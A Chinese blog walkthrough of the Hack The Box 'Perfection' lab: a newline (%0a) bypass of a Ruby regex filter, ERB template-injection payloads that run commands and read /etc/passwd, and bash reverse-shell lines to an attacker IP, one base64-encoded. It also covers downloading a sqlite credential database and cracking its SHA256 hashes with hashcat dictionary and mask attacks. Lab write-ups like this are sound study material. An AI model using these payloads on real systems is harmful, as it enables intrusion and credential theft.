首页 > 系统相关 >HTB Perfection-wp 基于ruby的SSTI注入、密码爆破工具hashcat的使用、反弹shell的编码绕过、ruby正则匹配

HTB Perfection-wp 基于ruby的SSTI注入、密码爆破工具hashcat的使用、反弹shell的编码绕过、ruby正则匹配

时间:2024-03-30 19:33:57浏览次数:16  
标签:shell HTB susan hashcat params && 100 ruby

一进来发现这个页面,估计突破点就是在这里了

 当然也可走一下固定的流程,nmap扫一下、dir爆破一下。这里不太像是sql的注入点(并不是查询功能),就不用sql试了。

首先第一反应时看到WEBrick模板框架,考虑有没有版本漏洞,但是在几个CVE数据库搜一下都没有对应版本的漏洞。

那么走一下正常的输入流程,看一下输出结果

正则匹配绕过

 稍微测试几个字符就发现被识别为恶意输入,block掉了。这里我们fuzz一下,看那些字符不会被拦截,缩小一下测试范围,根据相应包的长度分类一下

考虑这里是一个正则表达式匹配行为,那么想一下正则匹配的常见绕过方法:异或、取反、大小写、正则回溯上限、拼接、%0a

这里尝试后决定用%0a绕过,后面也看了一下源码,确实是正则匹配,由于对ruby不太熟,这里恶补了一下相关的内容

源代码是这样的:

elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ &&
params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ &&
params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ &&
params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/

    @result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) +

    (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>"

     + params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" +

      params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i *

      params[:weight5].to_i) / 100 %>\%</p>").result(binding)
     erb :'weighted_grade_results'

 else
    @result = "Malicious input blocked"
    erb :'weighted_grade_results'

首先讲一下正则匹配,在ruby中 =~ 表示将正则表达式与字符串进行匹配,如果找到,返回匹配项相对于字符串的偏移量,否则返回nil

比较有意思的是,在ruby中,0并不代表false,也就是说 if 0 是为真的。其次,利用换行来绕过这里的单行匹配

 但是奇怪的是,即使我用了/m多行匹配,返回结果仍然是True,搞了半天也没明白,这个问题先搁置一下吧。现在能确定正则匹配是可以绕过的,而且在%0a后可以插入任何字符。

SSTI利用、反弹shell

首先理解一下ssti是什么,服务端模板注入,服务端利用模板引擎渲染用户请求到当前页面。也就是说用户的输入渲染到了当前页面,这听起来像XSS,我们很容易认为这根本不是突破点选择绕过,但注意这里是利用模板进行渲染。

也就是说,一个页面如果存在xss攻击的可能,但同时页面开发使用了模板引擎,那么我们需要考虑SSTI注入的存在。这里又是ruby的ERB模板引擎WEBrick,ERB有直接的命令执行接口:

<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()%>

要注意的是,这里的参数明显有一个urldecode过程,我们要将特殊字符进行编码,否则可能无法正常解析,导致命令执行出现问题

 到了这一步就好说了,因为没有回显,直接弹shell到本地,最常用的命令是

bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1 
bash -c 'bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1'
echo 'IC1pID4mIC9kZXYvdGNwLzE5Mi54LngueC94eHh4IDA+JjE=' | base64 -d | bash

稍微试几个,记得编码,正常弹到shell

发现当前用户是susan,在用户目录Migration下发现了.db的sqlite数据库文件,在靶机上执行 python3 -m http.server 8888,然后本地wget下载该文件

用DBeaver打开,发现一个用户表,包括其用户名和密码

Hashcat爆破

 用https://hashes.com/en/tools/hash_identifier 识别一下是什么类型的hash值,发现是SHA256,这里我们引入hashcat的使用方法(很多人习惯用john,确实方便,但是局限性有点大,hashcat能够以多种方式爆破同时还能结合CPU与GPU的使用)

hashcat的具体使用方式参考 https://cloud.tencent.com/developer/article/2245761?areaId=106001

# 利用字典爆破  1.txt是密码的哈希值
hashcat  -a 0 -m 1400 1.txt /usr/share/wordlists/rockyou.txt

在 /var/mail/susan中发现了以下邮件:

susan@perfection:~/ruby_app$ cat /var/mail/susan
cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

也就是密码是基于特定的规则,照理我们可以根据susan的hash值本地爆破出她的密码

这里用到的是hashcat基于掩码的爆破方式

#基于规则掩码的爆破
hashcat  'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' -a 3 'susan_nasus_?d?d?d?d?d?d?d?d?d' -m 1400

直接得到了susan的密码,接下来的提权就不说了,ssh连上去发现sudo权限全开,直接读root.txt。(照理说用户表的五个人的密码都是爆破的,但/etc/passwd文件中只存在susan用户)

 

 

 

 

标签:shell,HTB,susan,hashcat,params,&&,100,ruby
From: https://www.cnblogs.com/kw13t/p/18105900

相关文章

  • jQuery灯箱插件lightBox使用方法
    原文链接:https://blog.csdn.net/ououou123456789/article/details/6015122https://jingyan.baidu.com/article/9c69d48f992b1b13c9024e3d.html“Lightbox”是一个别致且易用的图片显示效果,它可以使图片直接呈现在当前页面之上而不用转到新的窗口。类似于WinXP操作系统的注销/关......
  • shell高级用法,mkfifo管道,创建管道,多任务多并发
    转自:https://www.cnblogs.com/bulh/articles/12765789.html转自:https://blog.csdn.net/qq_34409701/article/details/52488964转自:https://zhuanlan.zhihu.com/p/623276458 最能解释管道Linuxmkfifo命令mkfifo命令基本上可以让你创建FIFO(又名命名管道)。以下是该命令的语法......
  • 在Linux中,Linux内核和Shell有何区别?
    Linux内核和Shell是Linux操作系统中两个截然不同的组成部分,它们各自承担着不同的职责,有着明显的区别:Linux内核:定义:Linux内核是操作系统的核心组件,它是Linux系统的心脏,负责管理系统的硬件资源(如CPU、内存、磁盘、网络等)和提供基本的服务,为运行在其上的应用程序提供一个抽象、统......
  • SHELL(04)
    SHELL(03)正则表达RegularExpression简称为**[Regex][RegExp]**正则表达式是一种用于匹配文本模式的工具,常用于计算机程序设计中进行文本搜索和文本替换等操作.使用“一串符号”来描述有共同属性的数据基础正则列表正则符号在使用时需要""引号引起......
  • SHELL(01)
    Shell基础Shell:[解释器]在Linux内核与用户之间的解释器程序通常指/bin/bash,这是系统默认解释器负责向内核翻译及传达用户/程序指令相当于操作系统的“外壳”Shell的使用方式交互式指令---------------命令行人工干预智能化程度高逐条解析执行,效率低......
  • 使用cmd或PowerShell计算文件夹中的文件数量
    一、echo"CD需统计目录(PowerShell命令)"echo"1.统计文件和文件夹数(不会递归工作,只计算第一级元素)"(Get-ChildItem|Measure-Object).Countecho"2.统计文件夹数(不会递归工作,只计算第一级元素)"(Get-ChildItem-Directory|Measure-Object).Countecho"3.统计文件夹中的......
  • Ubuntu中如何配置ssh,连接xshell
    这里演示Ubuntu中配置ssh服务,并且使用xshell连接Ubuntu中的root用户1.如果之前没有配置过root密码的话这里可以配置一下root的密码,如果之前配置过,直接登录进去即可。sudopasswdroot然后填写自己的登录密码,这时密码不会显示,但确实填进去了,然后配置自己的root密码,然后确定......
  • 第十一章 :Linux 进阶finalshell操作
    指令不会可以后面加--help 例如find--help1)数据输出echo格式 echo数据 将数据输出展示到终端界面列入 echo helloworld 将会输出 helloworldecho pwd 将会只输出pwd(pwd当作文字输出)则echo·pwd·(ESC下面的反引号)输出的是当前目录 ......
  • Xshell 连接linux 虚拟机
    修改配置文件[root@bogon~]#ifconfigens160:flags=4163<UP,BROADCAST,RUNNING,MULTICAST>mtu1500inet192.168.183.133netmask255.255.255.0broadcast192.168.183.255inet6fe80::20c:29ff:fe12:80d6prefixlen64scopeid0x20<link>......
  • 二、Linux 常见终端操作 Shell 指令总结
    Shell指令总结Linux终端是许多开发人员、系统管理员和技术爱好者经常使用的工具之一。通过掌握Shell指令,可以高效地管理文件系统、执行任务和配置系统。本篇博客简单总结了Linux常见终端操作的Shell指令,帮助大家快速掌握基本操作和提高工作效率。文件和目录操作......